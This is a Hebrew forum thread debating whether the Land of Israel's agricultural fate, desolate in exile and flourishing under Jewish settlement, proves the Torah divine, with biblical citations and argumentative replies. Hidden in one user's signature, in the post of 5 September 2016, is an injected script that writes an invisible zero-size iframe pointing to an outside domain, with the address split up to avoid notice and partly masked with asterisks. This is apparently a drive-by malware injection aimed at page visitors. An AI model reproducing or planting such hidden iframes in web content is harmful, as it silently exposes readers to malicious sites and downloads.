בית פורומים עצור כאן חושבים

תורה משמים? ההוכחה מגורל הארץ (ההוכחה החקלאית)

שלום אורח. באפשרותך להתחבר או להירשם
הצג 15 הודעות בעמוד הוסף לדף האישי  דווח למנהל שלח לחבר
נשלח ב-1/9/2016 22:41 לינק ישיר 
תורה משמים? ההוכחה מגורל הארץ (ההוכחה החקלאית)

1. סקירה ראשונית

מקורה של ההוכחה בימי הביניים, בתקופה בה היא התגשמה. אז לא שימשה כהוכחה לתמ''ה אלא לנצחיות הקשר עם עם ישראל, כפולמוס אנטי נוצרי. הראשון שהציג את ההוכחה הזו הוא הרמב''ן (המאה ה13) בפירושו לתורה:

''גם זו ראיה גדולה והבטחה לנו, כי לא תימצא בכל היישוב ארץ אשר היא טובה ורחבה ואשר היתה נושבת מעולם ואשר היא חרבה כמוה. כי מאז יצאנו ממנה לא קיבלה שום אומה ולשוןוכולם משתדלים להושיבה ואין לאל ידם.'' (ויקרא כו,כו)

 

ההוכחה  מצביעה על תופעת טבע מוזרה מסויימת שנצפתה מראש ע''י התורה. ניתן לנסח אותה בשתי דרכים:

א:

1) ניתן לזהות קורלציה בין זהות יושבי הארץ ובין מצבה הכלכלי. כאשר ישבו בארץ יהודים מצבה היה טוב בהרבה ממצבה כאשר ישבו בה גויים.

2) תופעה זו ייחודית רק לא''י.

3) לקורלציה כזו אין הסבר טבעי המתקבל על הדעת. 

מכאן שקיים מתכנן היסטורי הקובע זאת.

ב:

1) ניתן לזהות קורלציה בין זהות יושבי הארץ ובין מצבה הכלכלי. כאשר ישבו בארץ יהודים מצבה היה טוב בהרבה ממצבה כאשר ישבו בה גויים.

2) תופעה זו ייחודית רק לא''י.

3) לא ניתן לצפות דבר כזה בכלי חישוב אנושיים.

4) התורה צפתה זאת מראש.

מכאן שהתורה נעזרה בצופה על אנושי.

 

בעוד שהדרך השנייה מצביעה על כך שלתורה עצמה יש מקור א-לוהי, הרי הדרך הראשונה אינה טוענת כל טיעון לגבי התורה, כי אם לגבי עם ישראל. לטענתה יש ישות א-לוהית המתעסקת בגורל עם ישראל וארץ ישראל. אמנם, אם הוכחנו שא-ל כלשהו מעורב בגורלו של עם ישראל קל הרבה יותר להתקדם להנחה שזהו אותו א-ל הקשור בתורה.

נקודה שנייה היא שכל אחת מהדרכים מחזקת את חברתה. העובדה שהתופעה נצפתה מראש עושה אותה מוזרה יותר, והעובדה שהתופעה מוזרה עושה את סיכויי התצפית שלה גרועים יותר.

עם זאת, המסקנה הראשונה מייתרת את השנייה, כי אם קיים א-ל שקובע את גורל הארץ, יתכן פשוט שכותב התורה הכיר אותו וידע את תכניותיו. כך שאין כאן 'תצפית עתיד' במובן המקובל אלא השערה.

 

כיאה לתזה מדעית, הציגה הוכחה זו ניבוי הניתן להפרכה אמפירית: כל זמן שלא ישבו בארץ יהודים, היא תמשיך להיות חרבה. וברגע שישבו בארץ יהודים, היא תשוב לפרוח.

ולמרבה הפלא, הניבוי המדעי התאמת. החל מהמאה ה19 החלו להתיישב יהודים בארץ, ובמקביל היא עברה התפתחות חקלאית מדהימה. כתוצאה מכך עברה ההוכחה התפתחות (כפי שהרגישה כבר נחמה ליבוביץ', בעיונים לבהר בחוקותי תשט''ז), וכיום מוסיפים לפרטי ההוכחה העתיקה את שגשוג הארץ בעת המודרנית.

  

 עכשיו ננסה לנתח את העובדות.

 

2. העדות המקראית:

 

התייחסויות לקשר בין שהותנו בארץ למצבה ניתן למצוא בכמה מקומות בתורה. המקור הראשון הוא בפרשת התוכחה, שם נאמר:

וַהֲשִׁמֹּתִי אֲנִי אֶת הָאָרֶץ וְשָׁמְמוּ עָלֶיהָ אֹיְבֵיכֶם הַיֹּשְׁבִים בָּהּ. וְאֶתְכֶם אֱזָרֶה בַגּוֹיִם וַהֲרִיקֹתִי אַחֲרֵיכֶם חָרֶב וְהָיְתָה אַרְצְכֶם שְׁמָמָה וְעָרֵיכֶם יִהְיוּ חָרְבָּה.  אָז תִּרְצֶה הָאָרֶץ אֶת שַׁבְּתֹתֶיהָ כֹּל יְמֵי הֳשַׁמָּה וְאַתֶּם בְּאֶרֶץ אֹיְבֵיכֶם אָז תִּשְׁבַּת הָאָרֶץ וְהִרְצָת אֶת שַׁבְּתֹתֶיהָ. כָּל יְמֵי הָשַּׁמָּה תִּשְׁבֹּת אֵת אֲשֶׁר לֹא שָׁבְתָה בְּשַׁבְּתֹתֵיכֶם בְּשִׁבְתְּכֶם עָלֶיהָ. (ויקרא כו, לב-לה)

ניתנים כאן כמה היגדים:

1) אנו (כל עם ישראל) נהיה בגלות.

2)בזמן שבו נהיה בגלות תהיה הארץ שוממה.

3)אויבינו ישבו בה ו'ישממו' גם הם.

בקטע זה שממת הארץ היא חלק מהעונש: תפיסת הגמול המקראית היא שגם חפצים דוממים נענשים בעוון בעליהם, בפרט ארצות. ככל הנראה, הרעיון הוא שהחטא יוצר מעין משקע רוחני, ומשקע זה הוא חמור כל כך עד שהוא זולג גם אל סביבותיו של החוטא.

עם זאת, במלים וְשָׁמְמוּ עָלֶיהָ אֹיְבֵיכֶם הַיֹּשְׁבִים בָּהּ ניתן לראות גם רמיזה מסויימת להיבט אחר: הקב''ה אינו מעוניין להוסיף על סבלנו את הסבל שבלראות את אויבינו נהנים מסבלנו. (אגב, את הסבל הזה חווים הפלסטינים)

מקור שני נמצא בסיום התוכחה שבספר דברים:

לֹא יֹאבֶה ה' סְלֹחַ לוֹ כִּי אָז יֶעְשַׁן אַף יְהוָה וְקִנְאָתוֹ בָּאִישׁ הַהוּא וְרָבְצָה בּוֹ כָּל הָאָלָה הַכְּתוּבָה בַּסֵּפֶר הַזֶּה וּמָחָה יְהוָה אֶת שְׁמוֹ מִתַּחַת הַשָּׁמָיִם.  וְהִבְדִּילוֹ ה' לְרָעָה מִכֹּל שִׁבְטֵי יִשְׂרָאֵל כְּכֹל אָלוֹת הַבְּרִית הַכְּתוּבָה בְּסֵפֶר הַתּוֹרָה הַזֶּה.

וְאָמַר הַדּוֹר הָאַחֲרוֹן בְּנֵיכֶם אֲשֶׁר יָקוּמוּ מֵאַחֲרֵיכֶם וְהַנָּכְרִי אֲשֶׁר יָבֹא מֵאֶרֶץ רְחוֹקָה וְרָאוּ אֶת מַכּוֹת הָאָרֶץ הַהִוא וְאֶת תַּחֲלֻאֶיהָ אֲשֶׁר חִלָּה ה' בָּהּ.

גָּפְרִית וָמֶלַח שְׂרֵפָה כָל אַרְצָהּ לֹא תִזָּרַע וְלֹא תַצְמִחַ וְלֹא יַעֲלֶה בָהּ כָּל עֵשֶׂב כְּמַהְפֵּכַת סְדֹם וַעֲמֹרָה אַדְמָה וצביים [וּצְבוֹיִם] אֲשֶׁר הָפַךְ ה' בְּאַפּוֹ וּבַחֲמָתוֹ.

 וְאָמְרוּ כָּל הַגּוֹיִם עַל מֶה עָשָׂה ה' כָּכָה לָאָרֶץ הַזֹּאת מֶה חֳרִי הָאַף הַגָּדוֹל הַזֶּה.

 וְאָמְרוּ עַל אֲשֶׁר עָזְבוּ אֶת בְּרִית ה' אֱלֹהֵי אֲבֹתָם אֲשֶׁר כָּרַת עִמָּם בְּהוֹצִיאוֹ אֹתָם מֵאֶרֶץ מִצְרָיִם. וַיֵּלְכוּ וַיַּעַבְדוּ אֱלֹהִים אֲחֵרִים וַיִּשְׁתַּחֲוּוּ לָהֶם אֱלֹהִים אֲשֶׁר לֹא יְדָעוּם וְלֹא חָלַק לָהֶם. וַיִּחַר אַף ה' בָּאָרֶץ הַהִוא לְהָבִיא עָלֶיהָ אֶת כָּל הַקְּלָלָה הַכְּתוּבָה בַּסֵּפֶר הַזֶּה. וַיִּתְּשֵׁם ה' מֵעַל אַדְמָתָם בְּאַף וּבְחֵמָה וּבְקֶצֶף גָּדוֹל וַיַּשְׁלִכֵם אֶל אֶרֶץ אַחֶרֶת כַּיּוֹם הַזֶּה. (דברים כט, יט-כז)

כאן ההתייחסות היא לחוטא פרטי. איש, משפחה או שבט.

ההיגדים שניתנים הם:

1) אותה קבוצה תסבול את הקללות הכתובות בתורה.

2) ארצם תהיה שוממה כמו השטחים החרבים שליד ים המלח, מכוסה גפרית ומלח וקודרת כמדבר. (עם זאת, את ההיגד הזה ניתן אולי לתפוס כמוגזם קלות לצרכי דרמה)

3) צאצאינו וכל הגויים יראו זאת כגמול על חטאי יושבי הארץ.

כאן הקללה חריפה יותר, כי בויקרא הארץ מאפשרת לאויבינו לשבת בה ואילו כאן אין בה אפילו עשב אחד.

אמנם, היבט שונה לחלוטין יכול לעלות בקנה אחד עם השקפת המקרא. לפי אותו היבט ארץ ישראל היא 'אחוזת עולם' לבני ישראל בלבד, ולפיכך אינה יכולה לקבל בני עמים אחרים. כך הבינו הרמב''ן (לעיל) ורבינו בחיי (בראשית יז,כד), מה שהשתלב עם תפיסה קבלית קדומה בה הם האמינו.

את הרעיון הזה ירשו גם הנביאים, ובכל נבואות נביאי החורבן מתוארת הארץ כשוקעת למצב של שממה וציה. יש לציין הבדל מעניין בנושא זה – ישעיהו נוטה לתאר את התפשטות היערות ואילו ירמיהו נוטה לתאר התפשטות של המדבר.

ועוד הוסיפו הנביאים נדבך נוסף ומתבקש: אם גלות ישראל תגרום לארץ חורבן, הרי שיבתם לארץ תגרום לה לפרוח. כך תיארו הנביאים כולם את פריחת הארץ עם שובנו לאדמתנו.
מפורסם ביניהם יחזקאל שהתנבא
וְאַתֶּם הָרֵי יִשְׂרָאֵל עַנְפְּכֶם תִּתֵּנוּ וּפֶרְיְכֶם תִּשְׂאוּ לְעַמִּי יִשְׂרָאֵל כִּי קֵרְבוּ לָבוֹא.  כִּי הִנְנִי אֲלֵיכֶם וּפָנִיתִי אֲלֵיכֶם וְנֶעֱבַדְתֶּם וְנִזְרַעְתֶּם.  וְהִרְבֵּיתִי עֲלֵיכֶם אָדָם כָּל בֵּית יִשְׂרָאֵל כֻּלֹּה וְנֹשְׁבוּ הֶעָרִים וְהֶחֳרָבוֹת תִּבָּנֶינָה.  וְהִרְבֵּיתִי עֲלֵיכֶם אָדָם וּבְהֵמָה וְרָבוּ וּפָרוּ וְהוֹשַׁבְתִּי אֶתְכֶם כְּקַדְמוֹתֵיכֶם. (לו,ח-יא) אולם גם נביאים אחרים תיארו את המציאות בצבעים דומים. כך אמר ישעיהו יְשֻׂשׂוּם מִדְבָּר וְצִיָּה וְתָגֵל עֲרָבָה וְתִפְרַח כַּחֲבַצָּלֶת. פָּרֹחַ תִּפְרַח וְתָגֵל אַף גִּילַת וְרַנֵּן, כְּבוֹד הַלְּבָנוֹן נִתַּן לָהּ הֲדַר הַכַּרְמֶל וְהַשָּׁרוֹן.(לה,א) ובן דמותו השני התפייט כִּי נִחַם ה' צִיּוֹן נִחַם כָּל חָרְבֹתֶיהָ וַיָּשֶׂם מִדְבָּרָהּ כְּעֵדֶן וְעַרְבָתָהּ כְּגַן ה'.(נא,ג)
וירמיהו אמר
עוֹד תִּטְּעִי כְרָמִים בְּהָרֵי שֹׁמְרוֹן נָטְעוּ נֹטְעִים וְחִלֵּלוּ.(לא,ד)תורה משמים? ההוכחה מגורל הארץ (ההוכחה החקלאית)




תוקן על ידי אריאל73 ב- 01/09/2016 22:46:05




דווח על תוכן פוגעני

מחובר
נשלח ב-7/9/2016 14:48 לינק ישיר 

בדיוק להפך, זה הפשט הפשוט. שממת הארץ מגיעה כפרט מעונשי הגלות וכמ"ש בהתחלה (חוששני שגם את זה לא קראת?) ראה בדברים והבדילו ה' לרעה מכל שבטי ישראל...ואמר הדור האחרון וראו את מכות הארץ ההיא ואת תחלואיה, גפרית ומלח...על מה עשה ה' ככה לארץ הזאת? על אשר עזבו את ברית ה'...וישליכם אל ארץ אחרת וגם בויקרא:
וְנָתַתִּי אֶת עָרֵיכֶם חָרְבָּה וַהֲשִׁמּוֹתִי אֶת מִקְדְּשֵׁיכֶם וְלֹא אָרִיחַ בְּרֵיחַ נִיחֹחֲכֶם. לב וַהֲשִׁמֹּתִי אֲנִי אֶת הָאָרֶץ וְשָׁמְמוּ עָלֶיהָ אֹיְבֵיכֶם הַיֹּשְׁבִים בָּהּ. לג וְאֶתְכֶם אֱזָרֶה בַגּוֹיִם וַהֲרִיקֹתִי אַחֲרֵיכֶם חָרֶב וְהָיְתָה אַרְצְכֶם שְׁמָמָה וְעָרֵיכֶם יִהְיוּ חָרְבָּה.
אם כן, הקביעה היא שכשאנו לא נהיה בארץ היא תהיה שוממה. אמנם, עלינו לשאול מהו הקו המגדיר את 'ישיבת עם ישראל בארץ' אני מדדתי אותו באחוז היהודים מכלל יושבי הארץ, אבל יתכן שהקו ניתן באחוז היהודים היושבים בארץ מכלל עם ישראל ויתכן שהקו נקבע במספרים מוחלטים.

את הטיעון האיראני והטיעון הפטרוכימי שלך לא הבנתי: וכי בגלל שניתן לעקם ולפרש שכוונת התורה לא היתה לשממת הארץ לכן ננטוש את הפשט הפשוט ונפרש כך? ושמא רומזים דבריך לשלוש טענות (שתים מהן כבר נידונו לעיל): א. ניתן לרמות ולהכניס לטקסט כל כוונה שהיא.
זה לא קשור לענייננו, כי העובדה שניתן לרמות אינה אומרת שאין לטקסט כוונה אמיתית.
ב. גם באורח ישר, טקסט סובל כמה פרשנויות.
זה נכון, והשאלה כמה פרשנויות ישרות ניתן לתת לו ועד כמה הן מקלות על הנבואה להתאים למציאות.
ג. המאמינים בכל תמ"ה נאלצים לרמות כדי להתאים אותה למציאות. אם כן, אך הוגן שגם כאן נדרוש מהטקסט את אותה רמאות.
אבל אני מכריז בזאת שאני מתנגד להענקת פרשנות שקרית לטקסט, ומעדיף על פניה הצהרה שחלקים מהתורה אינם משמיים. (כמובן, בהנחה שאלו שתי הברירות היחידות העומדות בפנינו. לדעתי קיימת גם ברירה שלישית: פירוש אמיתי לטקסט שאינו סותר את היותו תמ"ה.)





נשלח מהאנדרואיד שלי

תוקן על ידי אריאל73 ב- 07/09/2016 15:01:07




דדווח על תוכן פוגעני

מחובר
נשלח ב-7/9/2016 09:25 לינק ישיר 

חולק. ושממו אוייביכם אינו מותנה בהיעדר 50000 יהודים. גם אם לדעתך כן זו כבר אינה הוכחה

ולהבהרה עוד נקודה - אני מניח שהמוכיח מכאן ימצא תירוצים להריי הברזל וערימות הנחושת. עליו לשקול אם תירוצים  מעין אלו אינם ישימים כאן

והערה שאינה קשור ה ישירות ל"הוכחה"  - יודעני שאם נגלה בשלישית ואיראן ולשיחיה יהיו כאן הבוסים ויעבדו אדמות וינצלו את הקרע לתפארת - יופיעו במהדורת עצכח usa הסברים  מלומדים 



דדווח על תוכן פוגעני

מחובר
נשלח ב-7/9/2016 09:09 לינק ישיר 

קראת מה כתבתי?


נשלח מהאנדרואיד שלי




דדווח על תוכן פוגעני

מחובר
נשלח ב-7/9/2016 07:02 לינק ישיר 

רמת הצלחה כלכלית כמו ביו"ש עדיין בגדר "שממו"?



דדווח על תוכן פוגעני

מחובר
נשלח ב-7/9/2016 01:08 לינק ישיר 

ההוכחה הזו במהותה לא יכולה לשאוף להוכיח את נכונות כל התורה, כי העובדה שמשפט אחד בתורה אינו אנושי אינה יכולה להוכיח שכל התורה אינה אנושית. כל מה שאנו שואפים להוכיח הוא שמשפט אחד בתורה מסתמך על מידע שמקורו בגורם על אנושי - לאו דוקא ה' שנתנו למשה. יתכן גם שמקורו באורקל סודי במרתף של אבי אבותיו של הכותב.
ממילא אין כל הוכחה נגדית מפסוקים אחרים שאינם תואמים למציאות, שהרי איננו עוסקים בהם.
כל זה כמובן לגבי הוכחה ב, הוכחה א בכלל לא קשורה לנושא.

כבר כתבתי לעיל שהמשוואה אינה יכולה להיות - יהודים מצליחים, גויים נכשלים. זאת גם היסטורית (היישוב הפגאני בארץ חווה תקופות שגשוג, הטובות שבהן דוקא בתקופת המקרא - הפלשתים והפיניקים) וגם בפרשנות הכתוב, שכן הוא מתייחס לתופעה שתתרחש בארץ כשנגלה ממנה. ממילא המשוואה היא - יש יהודים כולם מצליחים, אין יהודים כולם מפסידים.


נשלח מהאנדרואיד שלי




דדווח על תוכן פוגעני

מחובר
נשלח ב-6/9/2016 12:13 לינק ישיר 

במערת הנטיפים ליד בית שמש. יש נטיפים  שנוצרו מהגשמים באלפי שנים, כמו בטבעות העצים, גם בנטיפים אפשר למנות את השנים. לפי הנטיפים וצלילותם אפשר לראות בדיוק באלו שנים היתה שנת בצורת,  ומתי החלו מעוטי הגשמים בארץ. זה שווה פחות או יותר מזמן גלותם המלאה כמעט של היהודים מהארץ.  אז פסקו החלו מיועוטי הגשמים בצורה בולטת ביותר. המתענין יכול לבקר במקום ולהתרשם וללמוד ולהשכיל.



דדווח על תוכן פוגעני

מנותק
נשלח ב-6/9/2016 07:09 לינק ישיר 

אריאל: כתב " אתה יודע שלא כתבת כלום, כן?
יש הבדל בין נבואה לסיפור והנימה של הכתוב כן נשמעת כמשהו שיותר טוב ממדבר  אבל עכ"פ, גם אם משה רבינו או ה' שיקר במוצהר זה לא קשור בשום דרך להוכחה שלנו".

אם זו הוכחה לנבואה באופן כללי ובמנותק לשאר פסוקי ההתורה – נניח (לדעתי לא אבל אין תת נושא זה טעון ויכוח כי לא זו מטרת הוכחתך). אבל כהוכחה לתורה משמים  - את אותו הלך מחשבה (התאמת עובדות עתידיות) יש להתייחס להתאמת עובדות גם בפסוקים אחרים.

היית יכול לענות שכפי הנראה אז הארץ היתה גשומה יותר (נדמה לי שיש מחקרים כאלו) ויחסית היתה מקום טוב (בפרט אם גבולות הארץ מתחילים מאזור נחל צין בדרום ומסתיימים אי שם בלבנון/סוריה). עפרות ברזל באיכות כלשהי  יש בא"י אלא שלא כדאי כלכלית לנצלן  ואז היה, ועוד ועוד. היית צריך להתייחס לנצחיות התורה ומדוע היום הארץ במצב גרוע יחסית (ויכלת לענות שאם נשתפר יחזור משטר גשם טוב יותר, והנה גלוי גז ועוד). יש מקום לדיון.

לכשתדוק תראה כי גם הוכחתך שלך טעונה דיחוקים, גם מהעבר, כפי שהעירו וכפי שאני מכיר את מצב חלק מערביי יו"ש. 




דדווח על תוכן פוגעני

מחובר
נשלח ב-5/9/2016 17:47 לינק ישיר 

אריאל

איקון ירוק על עבודה מדהימה!

לצערי גם אני לא משופע במשאב הנפלא הזה, זמן, שיאפשר:

לעקוב אחרי הטיעון שלך
לבדוק את הטענות שעליהן הוא נבנה.

אבל עדיין ניתן להכיר בעבודה הרבה של איסוף המידע, הניתוח שלו, הצדדים השונים.

אני מבקש לתרום רק פרוטה אחת.

יש טענות מטפיזיות ויש טענות שאפשר לקרוא להן פיזיות אבל כוונתי למשהו רחב יותר, מהסוג שכונה בעבר "גשמי".

בתקופות מסויימות חשבו שיש ביניהן סתירה.

בגן ילדים חילוני: היו עננים, נשבה רוח, ירד גשם.
בגן ילדים דתי/חרדי: ה' הוריד גשם.

ובכן, זה לא סותר. ה' פועל דרך מה שאנו קוראים טבע.

לפיכך, אם בתקופה המודרנית הביאו היהודים טכנולוגיה ושיפרו את הארץ, אפשר לטעון שזה היה מצליח גם אילולא היה האלוקים בעזרם. אבל זו לא סתירה לטענה המטפיזית-דתית לומר שהטכנולוגיה הצליחה. איך הביא פעם בעל בעמיו בשם הר"ן, ה' אלוקים נותן לנו כוח לעשות חיל, נותן לנו טכנולוגיה לעשות חיל.

____נוספו מילים להבהרת טיעון_____________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");



תוקן על ידי מיימוני ב- 05/09/2016 17:48:33




דדווח על תוכן פוגעני

מנותק
נשלח ב-5/9/2016 16:46 לינק ישיר 

אבל עכ"פ, גם אם משה רבינו או ה' שיקר במוצהר זה לא קשור בשום דרך להוכחה שלנו.


נשלח מהאנדרואיד שלי




דדווח על תוכן פוגעני

מחובר
נשלח ב-5/9/2016 16:44 לינק ישיר 

אתה יודע שלא כתבת כלום, כן?
יש הבדל בין נבואה לסיפור והנימה של הכתוב כן נשמעת כמשהו שיותר טוב ממדבר.


נשלח מהאנדרואיד שלי




דדווח על תוכן פוגעני

מחובר
נשלח ב-5/9/2016 15:53 לינק ישיר 

אין הבדל גדול בין נבואה להבטחת התורהוהנימה של הכתוב אינה נשמעת רק כמשהו שטוב ממדבר



דדווח על תוכן פוגעני

מחובר
נשלח ב-5/9/2016 15:19 לינק ישיר 

רצץ, אם היית קורא את האשכול היית רואה שהתקופה הביזנטית נידונה כבר פעמיים. בשבילך אני אכתוב שוב שהמדד המופיע בתורה הוא שהות היהודים בארץ - והשימותי אני את הארץ ואתכם אזרה בגויים. ובגלות הנוכחית היהודים עזבו את הארץ בדיוק אחרי התקופה הביזנטית.
השאלה אם זה מוזר תלויה: בהוכחה א אין צורך במוזרות אלא בסיכוי נמוך לתצפית. בהוכחה ב יש צורך במוזרות. וכבר כתבתי שהתפתחות הארץ במאה ה20 לבד אינה מוזרה, אלא הצירוף שלה עם השקיעה במאה ה8, חוסר ההתפתחות במאה ה11 והנבואה מראש אי אז הרבה לפנה"ס. בקיצור, קרא את האשכול.

ה'הוכחה המינרלית' ורעותה ההוכחה הבוטנית, עם כל הכבוד להן, לא קשורות לכאן בשום דרך פרט לעובדה שגם בהן מוזכרת המילה ארץ. הן אפילו לא נבואה אלא הצהרה גיאוגרפית, נכונה או שקרית, של התורה. כיוון דאתינא להכא רק אומר שמשה דיבר עם עם של עבדים שנדדו במדבר, ובשבילם ארץ נושבת כמו א"י היתה פסגת השאיפות. מדובר בארץ הכי טובה בדרום סוריה (ביחס לאדום, מואב, עמון, האמורי, הנגב, מדבר סיני ומדבר מדיין) גם אם פחות טובה ממצרים שבתנ"ך נחשבה שווה לגן עדן.



נשלח מהאנדרואיד שלי




דדווח על תוכן פוגעני

מחובר
נשלח ב-5/9/2016 12:34 לינק ישיר 

תורה משמים? ההוכחה מתכונות הארץ (ההוכחה המינרלית) וההוכחה הכללית

ארץ נחלי מים (1)  עיינות ותהומות... בבקעה ובהר (2)... לא תחסר כל בה (3)... אבניה ברזל (4) ומהרריה תחצוב נחושת (5)"
(1) נשמע כמו כשמבררים על בחורה על חברתה הטובה ביותר. יש בזה משהו... אבל רק משהו (2) כנ"ל
(3){זו ההוכחה הכללית] רשימה ראשונית של חסרים: מים, מחצבים רבים, נפט. דווקא פוספטים נשמטו מהפסוק.... (4)  ראה 1. בקוריאה יש הרבה יותר (5) הניצול המסיבי של נחושת הידוע היה מחוץ לגבולות א"י. ומה עם ימינו שלנו

  



דדווח על תוכן פוגעני

מחובר
נשלח ב-5/9/2016 12:10 לינק ישיר 

אוי הציונים הדתיים האלו.




דדווח על תוכן פוגעני

מחובר
נשלח ב-5/9/2016 11:45 לינק ישיר 

בעלבעמיו כתב:
רצץ
לגבי חיטה, שמעתי מאנשים שמצויים בתחום, שהחיטה הא"י דווקא כן נחשבת.

ויש עוד מה להאריך.

אולי נחשבת לגבי מאכלים מסויימים, אבל לא לגבי לחם, שברור שזה היה העיקר בעת העתיקה, וזה היה שאלה של חיים ומוות.



דדווח על תוכן פוגעני

מחובר
   
בית > פורומים > דת ואמונה > עצור כאן חושבים > תורה משמים? ההוכחה מגורל הארץ (ההוכחה החקלאית)
מנהל לחץ כאן לנעילת האשכול
הוסף לעמוד האישי  דווח למנהל שלח לחבר
1 2 3 לדף הבא סך הכל 3 דפים.

bholext